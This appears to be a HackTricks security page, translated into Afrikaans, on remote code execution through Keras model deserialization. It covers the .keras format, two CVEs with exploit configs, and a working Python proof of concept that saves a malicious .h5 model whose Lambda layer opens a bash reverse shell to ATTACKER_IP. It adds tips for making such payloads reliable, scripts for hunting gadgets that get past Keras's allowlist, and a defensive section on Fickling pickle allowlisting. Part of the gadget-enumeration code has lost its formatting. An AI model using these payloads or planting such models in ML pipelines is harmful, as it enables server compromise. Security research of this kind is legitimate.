Keras Model Deserialization RCE and Gadget Hunting

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Hierdie bladsy som practical exploitation techniques op teen die Keras model deserialization pipeline, verduidelik die native .keras format internals en attack surface, en voorsien ’n navorsers toolkit vir die vind van Model File Vulnerabilities (MFVs) en post-fix gadgets.

.keras model format internals

’n .keras file is ’n ZIP-argief wat ten minste die volgende bevat:

  • metadata.json – algemene inligting (bv., Keras version)
  • config.json – model-argitektuur (primary attack surface)
  • model.weights.h5 – gewigte in HDF5

Die config.json dryf rekursiewe deserialisering: Keras importeer modules, los classes/functions op en rekonstrueer layers/objects vanaf attacker-controlled dictionaries.

Example snippet for a Dense layer object:

{
"module": "keras.layers",
"class_name": "Dense",
"config": {
"units": 64,
"activation": {
"module": "keras.activations",
"class_name": "relu"
},
"kernel_initializer": {
"module": "keras.initializers",
"class_name": "GlorotUniform"
}
}
}

Deserialization voer uit:

  • Module import en symbol resolution van module/class_name keys
  • from_config(
) of constructor invocation met attacker-controlled kwargs
  • Rekursie in geneste objects (activations, initializers, constraints, etc.)

In die verlede het dit drie primitives aan ’n attacker wat config.json saamstel blootgestel:

  • Beheer oor watter modules geĂŻmporteer word
  • Beheer oor watter classes/functions opgelos word
  • Beheer oor kwargs wat aan constructors/from_config deurgegee word

CVE-2024-3660 – Lambda-layer bytecode RCE

Hoof oorsaak:

  • Lambda.from_config() het python_utils.func_load(
) gebruik wat base64-dekodeer en marshal.loads() op attacker bytes aanroep; Python unmarshalling kan kode uitvoer.

Exploit idea (simplified payload in config.json):

{
"module": "keras.layers",
"class_name": "Lambda",
"config": {
"name": "exploit_lambda",
"function": {
"function_type": "lambda",
"bytecode_b64": "<attacker_base64_marshal_payload>"
}
}
}

Mitigering:

  • Keras dwing safe_mode=True af by verstek. Geserialiseerde Python-funksies in Lambda word geblokkeer tensy ’n gebruiker uitdruklik uitskakel met safe_mode=False.

Notas:

  • Legacy formats (older HDF5 saves) of ouer kodebasisse mag nie moderne kontrole afdwing nie, so “downgrade” style attacks kan steeds van toepassing wees wanneer victims ouer loaders gebruik.

CVE-2025-1550 – Willekeurige module-import in Keras ≀ 3.8

Oorsaak:

  • _retrieve_class_or_fn het onbeperkte importlib.import_module() gebruik met attacker-controlled module strings uit config.json.
  • Impak: Willekeurige import van enige geĂŻnstalleerde module (of attacker-planted module op sys.path). Kode wat tydens die import uitgevoer word, waarna objekkonstruksie plaasvind met attacker kwargs.

Eksploit-idee:

{
"module": "maliciouspkg",
"class_name": "Danger",
"config": {"arg": "val"}
}

Sekuriteitsverbeterings (Keras ≄ 3.9):

  • Module allowlist: imports beperk tot amptelike ekosisteem-modules: keras, keras_hub, keras_cv, keras_nlp
  • Standaard veilige modus: safe_mode=True blokkeer unsafe Lambda serialized-function loading
  • Basiese tipekontrole: deserialized objects moet ooreenstem met verwagte tipes

Practical exploitation: TensorFlow-Keras HDF5 (.h5) Lambda RCE

Baie produksie-stakke aanvaar nog steeds verouderde TensorFlow-Keras HDF5 modellĂȘers (.h5). As ’n aanvaller ’n model kan oplaai wat die bediener later laai of inferensie daarop uitvoer, kan ’n Lambda layer arbitrĂȘre Python op load/build/predict uitvoer.

Minimale PoC om ’n kwaadwillige .h5 te skep wat ’n reverse shell uitvoer wanneer dit deserialized of gebruik word:

import tensorflow as tf

def exploit(x):
import os
os.system("bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'")
return x

m = tf.keras.Sequential()
m.add(tf.keras.layers.Input(shape=(64,)))
m.add(tf.keras.layers.Lambda(exploit))
m.compile()
m.save("exploit.h5")  # legacy HDF5 container

Notes and reliability tips:

  • Trigger-punte: kode mag meerdere kere uitgevoer word (bv. tydens layer build/first call, model.load_model, en predict/fit). Maak payloads idempotent.
  • Weergawe vasmaak: pas die teiken se TF/Keras/Python aan om serialiserings-mismatches te vermy. Byvoorbeeld, bou artefakte met Python 3.8 en TensorFlow 2.13.1 as dit die weergawe is wat die teiken gebruik.
  • Vinnige omgewingsreplikasie:
FROM python:3.8-slim
RUN pip install tensorflow-cpu==2.13.1
  • Validasie: ’n onskadelike payload soos os.system(“ping -c 1 YOUR_IP”) help uitvoering bevestig (bv., observeer ICMP met tcpdump) voordat na ’n reverse shell oorgeskakel word.

Post-fix gadget-oppervlak binne allowlist

Selfs met allowlisting en safe mode bly ’n wye oppervlak bestaan onder toegelate Keras callables. Byvoorbeeld, keras.utils.get_file kan arbitrĂȘre URLs na deur die gebruiker kiesbare plekke aflaai.

Gadget via Lambda wat na ’n toegelate funksie verwys (nie geserialiseerde Python bytecode nie):

{
"module": "keras.layers",
"class_name": "Lambda",
"config": {
"name": "dl",
"function": {"module": "keras.utils", "class_name": "get_file"},
"arguments": {
"fname": "artifact.bin",
"origin": "https://example.com/artifact.bin",
"cache_dir": "/tmp/keras-cache"
}
}
}

Belangrike beperking:

  • Lambda.call() voeg die input tensor as die eerste posisionele argument voor wanneer die teiken callable aangeroep word. Gekose gadgets moet ’n ekstra posisionele arg verdra (of *args/**kwargs aanvaar). Dit beperk watter funksies bruikbaar is.

ML pickle-importe toelaatlys vir AI/ML-modelle (Fickling)

Baie AI/ML-modelformate (PyTorch .pt/.pth/.ckpt, joblib/scikit-learn, ouer TensorFlow-artifakte, ens.) bevat Python pickle-data. Aanvallers misbruik gereeld pickle GLOBAL-imports en objekkonstruktore om RCE of modelvervanging tydens laai te bewerkstellig. Swartlys-gebaseerde skandeerders mis dikwels nuwe of nie-gelysde gevaarlike imports.

’ n Praktiese fail-closed verdediging is om Python se pickle-deserializer te hook en slegs ’n hersiene stel onskadelike, ML-verwante imports tydens unpickling toe te laat. Trail of Bits se Fickling implementeer hierdie beleid en lewer ’n gekurateeerde ML-import-toelaatlys gebou uit duisende publieke Hugging Face-pickles.

Sekuriteitsmodel vir “veilige” imports (insigte gedistilleer uit navorsing en praktyk): geïmporteerde simbole wat deur ’n pickle gebruik word, moet gelyktydig:

  • Nie kode uitvoer of uitvoering veroorsaak nie (geen compiled/source code objects, shelling out, hooks, ens.)
  • Nie willekeurige attributte of items kry/instel nie
  • Nie imports doen of verwysings na ander Python-objekte vanaf die pickle VM bekom nie
  • Nie sekondĂȘre deserializers aktiveer nie (bv. marshal, nested pickle), selfs nie indirek nie

Skakel Fickling se beskerming so vroeg moontlik in tydens proses-opstart in sodat enige pickle-laaie wat deur frameworks (torch.load, joblib.load, ens.) uitgevoer word, nagegaan word:

import fickling
# Sets global hooks on the stdlib pickle module
fickling.hook.activate_safe_ml_environment()

Operasionele wenke:

  • Jy kan tydelik die hooks deaktiveer/heraktiveer waar nodig:
fickling.hook.deactivate_safe_ml_environment()
# ... load fully trusted files only ...
fickling.hook.activate_safe_ml_environment()
  • As ’n bekende-goeie model geblokkeer word, brei die allowlist vir jou omgewing uit nadat jy die simbole hersien:
fickling.hook.activate_safe_ml_environment(also_allow=[
"package.subpackage.safe_symbol",
"another.safe.import",
])
  • Fickling bied ook generiese runtime-guards aan as jy meer gedetailleerde beheer verkies:

  • fickling.always_check_safety() om kontrole af te dwing vir alle pickle.load()

  • with fickling.check_safety(): vir afgebakende afdwinging

  • fickling.load(path) / fickling.is_likely_safe(path) vir eenmalige kontroles

  • Gee voorkeur aan nie-pickle modelformate waar moontlik (bv. SafeTensors). As jy pickle moet aanvaar, laat loaders loop onder die minste regte, sonder netwerkuitset en handhaaf die allowlist.

Hierdie allowlist-eerste strategie blokkeer aantoonbaar algemene ML pickle-uitbuitingspaaie terwyl dit hoĂ« verenigbaarheid behou. In ToB se benchmark het Fickling 100% van sintetiese kwaadwillige lĂȘers gemerk en ongeveer ~99% van skoon lĂȘers van top Hugging Face repos toegelaat.

  1. Sistematiese gadget-ontdekking in toegelate modules

Lys kandidaat-callables in keras, keras_nlp, keras_cv, keras_hub en prioritiseer dié met file/network/process/env newe-effekte.

Lys moontlik gevaarlike callables in allowlisted Keras-modules ```python import importlib, inspect, pkgutil

ALLOWLIST = [“keras”, “keras_nlp”, “keras_cv”, “keras_hub”]

seen = set()

def iter_modules(mod): if not hasattr(mod, “path”): return for m in pkgutil.walk_packages(mod.path, mod.name + “.”): yield m.name

candidates = [] for root in ALLOWLIST: try: r = importlib.import_module(root) except Exception: continue for name in iter_modules(r): if name in seen: continue seen.add(name) try: m = importlib.import_module(name) except Exception: continue for n, obj in inspect.getmembers(m): if inspect.isfunction(obj) or inspect.isclass(obj): sig = None try: sig = str(inspect.signature(obj)) except Exception: pass doc = (inspect.getdoc(obj) or “”).lower() text = f“{name}.{n} {sig} :: {doc}“

Heuristics: look for I/O or network-ish hints

if any(x in doc for x in [“download”, “file”, “path”, “open”, “url”, “http”, “socket”, “env”, “process”, “spawn”, “exec”]): candidates.append(text)

print(“\n”.join(sorted(candidates)[:200]))

</details>

2) Direkte deserialisasietoetsing (geen .keras-argief nodig nie)

Voer uitgewerkte dicts direk in Keras deserializers in om die aanvaarde parameters te leer en newe-effekte waar te neem.
```python
from keras import layers

cfg = {
"module": "keras.layers",
"class_name": "Lambda",
"config": {
"name": "probe",
"function": {"module": "keras.utils", "class_name": "get_file"},
"arguments": {"fname": "x", "origin": "https://example.com/x"}
}
}

layer = layers.deserialize(cfg, safe_mode=True)  # Observe behavior
  1. Kruis-weergawe ondersoek en formate

Keras bestaan in verskeie kodebasisse/era’s met verskillende beskermingsmeganismes en formate:

  • TensorFlow built-in Keras: tensorflow/python/keras (erfenis, beplan om verwyder te word)
  • tf-keras: afsonderlik onderhou
  • Multi-backend Keras 3 (amptelik): het inheemse .keras ingestel

Herhaal toetse oor kodebasisse en formate (.keras vs legacy HDF5) om regressies of ontbrekende beskerming te openbaar.

Verwysings

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks